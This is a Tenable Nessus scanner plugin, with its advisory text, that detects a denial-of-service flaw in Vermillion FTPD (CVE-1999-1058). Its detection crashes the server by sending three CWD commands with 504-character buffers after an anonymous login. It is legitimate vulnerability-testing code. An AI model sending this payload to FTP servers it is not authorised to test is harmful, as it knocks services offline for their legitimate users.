It was possible to make the remote FTP server crash by issuing the commands :
CWD <buffer> CWD <buffer> CWD <buffer>
Where <buffer> is longer than 504 chars.
An attacker can use this problem to prevent your FTP server from working properly, thus preventing legitimate users from using it.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if(description)
{
script_id(10293);
script_bugtraq_id(818);
script_version ("1.35");
script_cve_id("CVE-1999-1058");
script_name(english:"Vermillion FTPD Long CWD Commands DoS");
script_set_attribute(attribute:"synopsis", value:
"The remote host has an application that is affected by a
denial of service vulnerability." );
script_set_attribute(attribute:"description", value:
"It was possible to make the remote FTP server crash
by issuing the commands :
CWD <buffer>
CWD <buffer>
CWD <buffer>
Where <buffer> is longer than 504 chars.
An attacker can use this problem to prevent your FTP server
from working properly, thus preventing legitimate
users from using it." );
script_set_attribute(attribute:"solution", value:
"upgrade your FTP to the latest version,
or change it." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"plugin_publication_date", value: "1999/11/22");
script_set_attribute(attribute:"vuln_publication_date", value: "1999/11/22");
script_cvs_date("Date: 2018/08/06 14:03:14");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_summary(english:"Checks if the remote ftp can be buffer overflown");
script_category(ACT_DESTRUCTIVE_ATTACK);
script_family(english:"FTP");
script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
script_dependencie("ftpserver_detect_type_nd_version.nasl", "ftp_anonymous.nasl");
script_require_keys("ftp/login");
script_require_ports("Services/ftp", 21);
exit(0);
}
#
# The script code starts here :
#
include("global_settings.inc");
include('misc_func.inc');
include('ftp_func.inc');
login = get_kb_item_or_exit("ftp/login");
pass = get_kb_item("ftp/password");
port = get_ftp_port(default: 21);
banner = get_ftp_banner(port:port);
if ( ! banner || "vftp" >!< tolower(banner)) exit(0);
# Connect to the FTP server
soc = open_sock_tcp(port);
if (! soc) exit(1);
domain = ereg_replace(pattern:"[^\.]*\.(.*)",
string:get_host_name(),
replace:"\1");
if(! ftp_authenticate(socket:soc, user:"anonymous", pass:string("nessus@", domain)))
exit(1);
crp = crap(504);
c = strcat('CWD ', crp, '\r\n');
send(socket:soc, data:c) x 3;
close(soc);
if (service_is_dead(port: port) > 0)
security_warning(port);